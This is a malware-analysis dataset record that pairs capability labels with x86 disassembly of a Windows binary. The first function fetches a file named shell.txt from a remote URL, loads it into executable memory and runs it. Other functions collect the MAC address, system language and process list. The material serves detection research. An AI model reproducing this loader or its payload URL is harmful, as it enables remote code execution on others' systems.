joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push str.C:UsersPublicDocuments_shell.txt
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor ebx, ebx
test eax, eax
jne 0x4016be
mov edi, 0xf
mov eax, str.C:UsersPublicDocuments_shell.txt
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401654
sub eax, edx
push eax
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x40]
call fcn.00401d40
push 0x5c
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1732606137219_3.txt
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
call fcn.00401d40
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x24]
call fcn.00401350
mov esi, 0x10
cmp dword [ebp - 0xc], esi
jb 0x4016a4
mov eax, dword [ebp - 0x20]
push eax
call fcn.00402f33
add esp, 4
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
cmp dword [ebp - 0x28], esi
jb 0x4016be
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.00402f33
add esp, 4
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push str.C:UsersPublicDocuments_shell.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x401700
push 0x440168
push 0x440170
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401725
push ebx
push 0x440168
push 0x440180
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4017b1
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
push ebx
cmp eax, ebx
jne 0x40174f
push 0x440168
push 0x440194
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4017b1
lea edx, [ebp - 4]
push edx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40178f
cmp dword [ebp - 4], edi
jne 0x40178f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
mov eax, dword [ebp - 8]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push ebx
push 0x440168
push 0x4401a4
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 8]
push 0x8000
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402a70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00405a60
Function at 0x402ae0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402af9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402b34
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402b30
lea ebx, [ebx]
cmp esi, eax
jae 0x402b34
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402b20
cmp esi, eax
jb 0x402b3a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x404448
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x404490
call fcn.00407a7c
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x404490
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4044d3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4044bc
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4044bc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4044d0
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x408e05
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x43778d
call fcn.0041fb36
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x408e2a
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x408e70
lea ecx, [ebp - 0x10]
call fcn.00402ec0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408116
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402e80
mov eax, esi
call fcn.0041fc0e
ret 8
Function at 0x40e5d8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40e61f
call fcn.00407a7c
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40e61f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40e63b
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040e152
mov esi, eax
test edi, edi
je 0x40e639
test ebx, ebx
je 0x40e639
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41eea1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44a640]
jne 0x41eeab
repz ret
jmp fcn.0042377f

Function at 0x42c907
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004238f7
and dword [ebp - 4], 0
cmp dword [0x44e4ec], 0
mov ebx, eax
jne 0x42c9b8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42ca69
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x43e538
push edi
call esi
test eax, eax
je 0x42ca69
push eax
call fcn.00423885
mov dword [esp], 0x43e528
push edi
mov dword [0x44e4ec], eax
call esi
push eax
call fcn.00423885
mov dword [esp], 0x43e514
push edi
mov dword [0x44e4f0], eax
call esi
push eax
call fcn.00423885
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44e4f4], eax
call esi
push eax
call fcn.00423885
pop ecx
mov dword [0x44e4fc], eax
test eax, eax
je 0x42c9b8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00423885
pop ecx
mov dword [0x44e4f8], eax
mov eax, dword [0x44e4f8]
cmp eax, ebx
je 0x42ca10
cmp dword [0x44e4fc], ebx
je 0x42ca10
push eax
call fcn.00423900
push dword [0x44e4fc]
mov esi, eax
call fcn.00423900
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42ca10
test edi, edi
je 0x42ca10
call esi
test eax, eax
je 0x42ca07
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42ca07
test byte [ebp - 0xc], 1
jne 0x42ca10
or dword [ebp + 0x10], 0x200000
jmp 0x42ca49
mov eax, dword [0x44e4f0]
cmp eax, ebx
je 0x42ca49
push eax
call fcn.00423900
pop ecx
test eax, eax
je 0x42ca49
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42ca49
mov eax, dword [0x44e4f4]
cmp eax, ebx
je 0x42ca49
push eax
call fcn.00423900
pop ecx
test eax, eax
je 0x42ca49
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44e4ec]
call fcn.00423900
pop ecx
test eax, eax
je 0x42ca69
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42ca6b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4035c0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b0140
mov eax, dword fs:[0]
push eax
sub esp, 0x240
mov eax, dword [0x4e143c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov edx, dword [edi]
call fcn.004038b0
mov eax, dword [edi]
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov dword [eax], eax
mov eax, dword [edi]
mov dword [eax + 4], eax
lea eax, [ebp - 0x230]
push eax
push 0
mov dword [edi + 4], 0
mov dword [ebp - 0x230], 0
call esi
test eax, eax
je 0x40362b
cmp eax, 0x6f
jne 0x403654
push dword [ebp - 0x230]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x403654
lea eax, [ebp - 0x230]
push eax
push ebx
call esi
test eax, eax
je 0x40365b
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
jmp 0x4037a5
xorps xmm0, xmm0
mov esi, ebx
movlpd qword [ebp - 0x1c], xmm0
mov eax, dword [esi + 0x194]
lea ecx, [ebp - 0x1c]
cmp eax, dword [ecx]
jne 0x403681
mov eax, dword [esi + 0x198]
cmp eax, dword [ecx + 4]
je 0x40378c
push 0x20a
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.0048da50
movzx eax, byte [esi + 0x199]
add esp, 0xc
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push 0x4cebe0
push 0xffffffffffffffff
lea eax, [ebp - 0x22c]
push 0x104
push eax
call fcn.004035a0
add esp, 0x28
mov dword [ebp - 0x248], 0
xor eax, eax
mov dword [ebp - 0x238], 0
mov word [ebp - 0x248], ax
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x234], 7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x403712
sub eax, edx
lea ecx, [ebp - 0x248]
sar eax, 1
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.00402a50
lea eax, [ebp - 0x248]
mov dword [ebp - 4], 0
push eax
mov ecx, edi
call fcn.004037d0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x234]
cmp edx, 8
jb 0x40378c
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403782
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037c1
push edx
push ecx
call fcn.0048bac4
add esp, 8
mov esi, dword [esi]
test esi, esi
jne 0x403665
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
cmp dword [edi + 4], eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
call fcn.004952eb
int3
Function at 0x404f40
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x4e143c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
test ecx, ecx
je 0x4050d6
test edx, edx
jle 0x4050d6
push edx
xorps xmm0, xmm0
mov byte [ebp - 0x34], 0
push ecx
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x9c], 0x67452301
mov dword [ebp - 0x98], 0xefcdab89
mov dword [ebp - 0x94], 0x98badcfe
mov dword [ebp - 0x90], 0x10325476
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x10], 0
movups xmmword [ebp - 0x20], xmm0
call fcn.00404750
cmp byte [ebp - 0x34], 0
jne 0x405086
xor edx, edx
lea ecx, [ebp - 0x8b]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0xc], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0xb], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0xa], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 9], al
add edx, 4
cmp edx, 8
jb 0x404fd5
mov edx, dword [ebp - 0x8c]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x9c]
push eax
push 0x4e1ea0
call fcn.00404750
push 8
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x9c]
call fcn.00404750
xor edx, edx
lea ecx, [ebp - 0x9b]
nop word [eax + eax]
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [ebp + edx - 0x44], al
movzx eax, byte [ecx - 4]
mov byte [ebp + edx - 0x43], al
movzx eax, byte [ecx - 3]
mov byte [ebp + edx - 0x42], al
movzx eax, byte [ecx - 2]
mov byte [ebp + edx - 0x41], al
add edx, 4
cmp edx, 0x10
jb 0x405050
mov byte [ebp - 0x84], 0
mov byte [ebp - 0x34], 1
push esi
push edi
xor esi, esi
lea edi, [ebp - 0x30]
nop dword [eax]
movzx eax, byte [ebp + esi - 0x44]
push eax
push str._02x
push 3
push edi
call fcn.00404730
inc esi
add esp, 0x10
add edi, 2
cmp esi, 0x10
jl 0x405090
push 0x20
lea eax, [ebp - 0x30]
mov byte [ebp - 0x10], 0
push eax
mov ecx, ebx
call fcn.00404090
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
Function at 0x406dd0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b0391
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x4e143c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4e75d0]
cmp eax, dword [ecx + 4]
jle 0x406f95
push 0x4e75d0
call fcn.0048b76d
add esp, 4
cmp dword [0x4e75d0], 0xffffffff
jne 0x406f95
mov dword [ebp - 4], 0
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0x12
push eax
xorps xmm0, xmm0
mov dword [ebp - 0xa4], str.ko_KR
push ecx
movlpd qword [0x4e75c8], xmm0
mov dword [ebp - 0xa0], 9
mov dword [ebp - 0x9c], str.en_US
mov dword [ebp - 0x98], 0x2a
mov dword [ebp - 0x94], str.vi_VN
mov dword [ebp - 0x90], 0x1e
mov dword [ebp - 0x8c], str.th_TH
mov dword [ebp - 0x88], 0x19
mov dword [ebp - 0x84], str.ru_RU
mov dword [ebp - 0x80], 0x22
mov dword [ebp - 0x7c], str.uk_UA
mov dword [ebp - 0x78], 0x16
mov dword [ebp - 0x74], str.pt_PT
mov dword [ebp - 0x70], 0x1f
mov dword [ebp - 0x6c], str.tr_TR
mov dword [ebp - 0x68], 0xa
mov dword [ebp - 0x64], str.es_ES
mov dword [ebp - 0x60], 0xc
mov dword [ebp - 0x5c], str.fr_FR
mov dword [ebp - 0x58], 7
mov dword [ebp - 0x54], str.de_DE
mov dword [ebp - 0x50], 0x11
mov dword [ebp - 0x4c], str.ja_JP
mov dword [ebp - 0x48], 0x21
mov dword [ebp - 0x44], str.in_ID
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], str.ar_IL
mov dword [ebp - 0x38], 0x29
mov dword [ebp - 0x34], str.fa_IR
mov dword [ebp - 0x30], 0x39
mov dword [ebp - 0x2c], str.hi_IN
mov dword [ebp - 0x28], 0x10
mov dword [ebp - 0x24], str.it_IT
mov dword [ebp - 0x20], 0x3e
mov dword [ebp - 0x1c], str.ms_MY
call fcn.00402610
push 0x4b63e0
call fcn.0048baaf
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x4e75d0
call fcn.0048b723
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
cmp cx, 4
jne 0x406fd8
mov ecx, 0xc04
cmp ax, cx
je 0x406fcf
mov ecx, 0x1404
cmp ax, cx
je 0x406fcf
mov ecx, 0x404
cmp ax, cx
je 0x406fcf
mov ecx, 0x7c04
push 5
push str.zh_TW
jmp 0x40703a
mov eax, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402740
mov eax, dword [ebp - 0x14]
cmp eax, dword [0x4e75c8]
je 0x407033
mov edx, dword [eax + 0x14]
mov ecx, edx
xor eax, eax
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407020
sub ecx, edi
sar ecx, 1
push ecx
push edx
jmp 0x407053
push 5
push str.en_US
mov dword [esi], 0
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, esi
call fcn.00402a50
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
Function at 0x40a510
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b08ad
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4e143c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 4
xor eax, eax
mov dword [ebp - 0x2c], 0
push 0x4cf900
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
call fcn.00402a50
mov ecx, esi
mov dword [ebp - 4], 0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a572
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00402bb0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0
push 3
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40a620
push 0
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push ecx
push 0xc
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x38], 8
push ecx
push 0xc
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x34], 0
push ecx
push 0x2d1400
push eax
mov byte [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp byte [ebp - 0x3c], 1
jne 0x40a609
push str.It_is_suport_trim
push 0xa7
push str.helper::disk::isSSD
call fcn.00429810
add esp, 0xc
mov bl, 1
jmp 0x40a622
push str.It_is_not_suport_trim
push 0xab
push str.helper::disk::isSSD
call fcn.00429810
add esp, 0xc
xor bl, bl
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x40a658
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a64e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a675
push edx
push ecx
call fcn.0048bac4
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
call fcn.004952eb
int3
Function at 0x40a680
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x4e143c]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40a6d2
push str.CreateToolhelp32Snapshot__of_processes_
call fcn.00409d70
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x40a6f9
push str.Process32First
call fcn.00409d70
add esp, 4
jmp 0x40a72d
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
lea eax, [esp + 0x44]
mov ecx, ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0040cb80
lea eax, [esp + 0x20]
push eax
push esi
call edi
test eax, eax
jne 0x40a700
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x254]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret
Function at 0x40c1d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ecx, 0x4e6ae0
push 0
call fcn.0048ca94
mov edi, eax
mov dword [ebp - 8], 1
test edi, edi
je 0x40c365
mov eax, dword [ebp + 8]
shr eax, 4
mov dword [ebp - 0x10], eax
lea ecx, [eax + 1]
movzx eax, cx
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
push 0
push eax
push 6
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov ebx, eax
test ebx, ebx
je 0x40c26c
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40c26c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40c26c
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, dword [ebp + 8]
mov ecx, ebx
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x40c262
cmp esi, edx
jae 0x40c26c
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x40c250
cmp esi, edx
jae 0x40c26c
cmp word [esi], 0
jne 0x40c28d
mov ebx, dword [ebp - 8]
mov ecx, 0x4e6ae0
push ebx
call fcn.0048ca94
mov edi, eax
inc ebx
mov dword [ebp - 8], ebx
test edi, edi
je 0x40c365
mov eax, dword [ebp - 0xc]
jmp 0x40c210
test edi, edi
je 0x40c365
mov eax, dword [ebp - 0x10]
inc eax
push 6
movzx eax, ax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x40c365
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40c365
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40c365
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and ebx, 0xf
jbe 0x40c2f6
cmp esi, ecx
jae 0x40c365
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ebx, 1
jne 0x40c2e4
cmp esi, ecx
jae 0x40c365
movzx eax, word [esi]
test ax, ax
je 0x40c365
mov edx, dword [ebp - 4]
mov edi, eax
mov ebx, eax
mov ecx, 1
mov edx, dword [edx]
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, edi
or ecx, eax
jge 0x40c32c
mov ebx, dword [ebp - 4]
mov ecx, ebx
push edi
call fcn.0040c400
mov edx, dword [ebx]
movzx ebx, word [esi]
movzx ecx, bx
lea eax, [esi + 2]
push ecx
push eax
push edi
push edx
call fcn.0049564a
push eax
call fcn.00409e00
mov ecx, dword [ebp - 4]
add esp, 0x14
mov eax, dword [ecx]
cmp edi, dword [eax - 8]
jg 0x40c370
mov dword [eax - 0xc], edi
mov eax, dword [ecx]
xor ecx, ecx
mov word [eax + edi*2], cx
lea eax, [ecx + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00409de0
int3
Function at 0x40cf20
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x4e143c]
xor eax, esp
mov dword [esp + 0x194], eax
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push esi
push edi
mov ecx, 0x4e73e8
call fcn.0040d070
test al, al
je 0x40cf71
call fcn.00445ff0
push str._end_
push 0x3a
push str.XZDownloaderImpl::clear
call fcn.00429810
mov eax, dword [0x4e73ec]
add esp, 0xc
test eax, eax
je 0x40cf9f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x4e73ec], 0
mov ecx, dword [0x4e73e8]
test ecx, ecx
je 0x40cfb2
push 1
push 0
call fcn.00456ce0
push dword [0x4e7420]
mov byte [0x4e746c], 1
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f40
mov ecx, 0x4e73f8
call fcn.004308f0
mov ecx, 0x4e2350
call fcn.00429a00
push 0x3e8
mov ecx, 0x4e2358
call fcn.004308f0
mov ecx, 0x4e21c0
call fcn.00430e00
mov ecx, 0x4e2370
call fcn.00429970
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004298c0
call dword [sym.imp.libcurl.dll_curl_global_cleanup]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0x19c]
pop edi
pop esi
xor ecx, esp
call fcn.0048b62c
mov esp, ebp
pop ebp
ret 0x10